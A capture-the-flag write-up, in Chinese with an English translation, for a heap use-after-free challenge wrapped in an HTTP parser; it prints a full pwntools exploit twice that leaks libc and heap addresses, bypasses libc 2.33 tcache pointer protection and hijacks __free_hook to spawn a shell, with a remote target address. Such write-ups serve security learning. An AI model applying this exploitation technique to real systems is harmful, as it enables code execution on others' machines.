解题#

简单的 UAF 堆题，套上了一个解析 Http 请求的背景，首先需要逆向找到合适的构造 http 请求头的方法，找到堆题经典增删查改的函数，发现删除操作中没有清空指针。故可以 UAF。

有个小细节 libc 2.33 之后 tcache bin 的 fd 指针加了一层加密，需要多泄露堆地址。

Exp#

1
from pwn import *
2

3
context.log_level='debug'
4

5
LOCAL = 1
6
getIO = (lambda : process(['./ld-2.33.so','./pwn'], env={'LD_PRELOAD':'./libc.so'})) if LOCAL else (lambda : remote('101.200.198.40',40629))
7

8
libc = ELF('./libc.so')
9

10
io = getIO()
11

12
def http(op, content):
13
    s = '{0} /s HTTP/1.0\r\n'.format(op)
14
    s += 'a:a\r\n'*14
15
    s += content
16
    return s
17

18
def add(_id, size, content):
19
    s = '\x01&{0}&{1}&{2}'.format(_id, size, content)
20
    io.sendafter('Waiting Package...\n',http('POST', s))
21

22
def show(_id):
23
    s = '\x03&{0}'.format(_id)
24
    io.sendafter('Waiting Package...\n',http('POST', s))
25

26
def delete(_id):
27
    s = '\x04&{0}'.format(_id)
28
    io.sendafter('Waiting Package...\n',http('POST', s))
29

30
def edit(_id, content):
31
    s = '\x02&{0}&{1}'.format(_id, content)
32
    io.sendafter('Waiting Package...\n',http('POST', s))
33

34
io.sendafter('Waiting Package...\n',http('DEV', 'rotartsinimda'))
35
# io.sendline()
36
add(0, 0x420, 'aaaaaa')
37
add(1, 0x20, 'aaaaaa')
38
# add(14, 0x420, 'aaaaa')
39
# add(15, 0x420, 'aaaaa')
40
delete(0)
41
add(2, 0x1, '\x01\x00')
42
show(2)
43

44
io.recvuntil('Content-Length: ')
45
io.recvuntil('\n')
46
main_arena = u64(io.recv(6).ljust(8, '\x00')) - 865
47
log.success('main_arena:'+hex(main_arena))
48
libc_base = main_arena - 1969056
49
log.success('libc_base:'+hex(libc_base))
50

51
add(3, 0x10, 'aaaaa')
52
add(4, 0x10, 'aaaaa')
53

54
delete(2)
55
add(5, 0x10, 'a'*0x10)
56
show(5)
57

58
io.recvuntil('Content-Length: ')
59
io.recvuntil('\n')
60
io.recvuntil('aaaaaaaaaaaaaaaa')
61
heap_addr = u64(io.recv(6).ljust(8, '\x00'))
62
log.success('heap_addr:'+hex(heap_addr))
63

64
delete(4)
65
delete(3)
66

67
def encode(addr, tar): # attack PROTECT_PTR
68
    return (addr >> 12) ^ tar
69

70
edit(3, p64(encode(heap_addr+0x30,libc.sym['__free_hook']+libc_base))+'\x00')
71

72
ogg = [0xde78c,0xde78f,0xde792]
73
add(6, 0x10, '/bin/sh\x00')
74
add(7, 0x8, p64(libc.sym['system']+libc_base)+'\x00')
75

76
gdb.attach(io)
77
# add(6, 0x1, 'a')
78
delete(6)
79

80

81
io.interactive()

第一次 pwn 题三血，纪念一下

Translate by Kimi-K3

Challenge#

https://gitee.com/csomebro/ctftask/blob/master/2022-05_%E6%98%A5%E7%A7%8B%E6%9D%AF/chunzhiIot.zip

Solution#

A simple UAF heap challenge wrapped in an HTTP request parsing scenario. First, you need to reverse-engineer the proper way to craft HTTP request headers, then locate the classic add/delete/show/edit functions of a heap challenge. It turns out the delete operation does not clear the pointer, so it is vulnerable to UAF.

One small detail: after libc 2.33, the fd pointer of tcache bins is protected by an extra layer of encryption, so you also need to leak a heap address.

Exp#

1
from pwn import *
2

3
context.log_level='debug'
4

5
LOCAL = 1
6
getIO = (lambda : process(['./ld-2.33.so','./pwn'], env={'LD_PRELOAD':'./libc.so'})) if LOCAL else (lambda : remote('101.200.198.40',40629))
7

8
libc = ELF('./libc.so')
9

10
io = getIO()
11

12
def http(op, content):
13
    s = '{0} /s HTTP/1.0\r\n'.format(op)
14
    s += 'a:a\r\n'*14
15
    s += content
16
    return s
17

18
def add(_id, size, content):
19
    s = '\x01&{0}&{1}&{2}'.format(_id, size, content)
20
    io.sendafter('Waiting Package...\n',http('POST', s))
21

22
def show(_id):
23
    s = '\x03&{0}'.format(_id)
24
    io.sendafter('Waiting Package...\n',http('POST', s))
25

26
def delete(_id):
27
    s = '\x04&{0}'.format(_id)
28
    io.sendafter('Waiting Package...\n',http('POST', s))
29

30
def edit(_id, content):
31
    s = '\x02&{0}&{1}'.format(_id, content)
32
    io.sendafter('Waiting Package...\n',http('POST', s))
33

34
io.sendafter('Waiting Package...\n',http('DEV', 'rotartsinimda'))
35
# io.sendline()
36
add(0, 0x420, 'aaaaaa')
37
add(1, 0x20, 'aaaaaa')
38
# add(14, 0x420, 'aaaaa')
39
# add(15, 0x420, 'aaaaa')
40
delete(0)
41
add(2, 0x1, '\x01\x00')
42
show(2)
43

44
io.recvuntil('Content-Length: ')
45
io.recvuntil('\n')
46
main_arena = u64(io.recv(6).ljust(8, '\x00')) - 865
47
log.success('main_arena:'+hex(main_arena))
48
libc_base = main_arena - 1969056
49
log.success('libc_base:'+hex(libc_base))
50

51
add(3, 0x10, 'aaaaa')
52
add(4, 0x10, 'aaaaa')
53

54
delete(2)
55
add(5, 0x10, 'a'*0x10)
56
show(5)
57

58
io.recvuntil('Content-Length: ')
59
io.recvuntil('\n')
60
io.recvuntil('aaaaaaaaaaaaaaaa')
61
heap_addr = u64(io.recv(6).ljust(8, '\x00'))
62
log.success('heap_addr:'+hex(heap_addr))
63

64
delete(4)
65
delete(3)
66

67
def encode(addr, tar): # attack PROTECT_PTR
68
    return (addr >> 12) ^ tar
69

70
edit(3, p64(encode(heap_addr+0x30,libc.sym['__free_hook']+libc_base))+'\x00')
71

72
ogg = [0xde78c,0xde78f,0xde792]
73
add(6, 0x10, '/bin/sh\x00')
74
add(7, 0x8, p64(libc.sym['system']+libc_base)+'\x00')
75

76
gdb.attach(io)
77
# add(6, 0x1, 'a')
78
delete(6)
79

80

81
io.interactive()

My first time getting third blood on a pwn challenge — commemorating it here.

55b9e32e2405a1300dd7020c6ceea0f

题目#

解题#

Exp#

Challenge#

Solution#

Exp#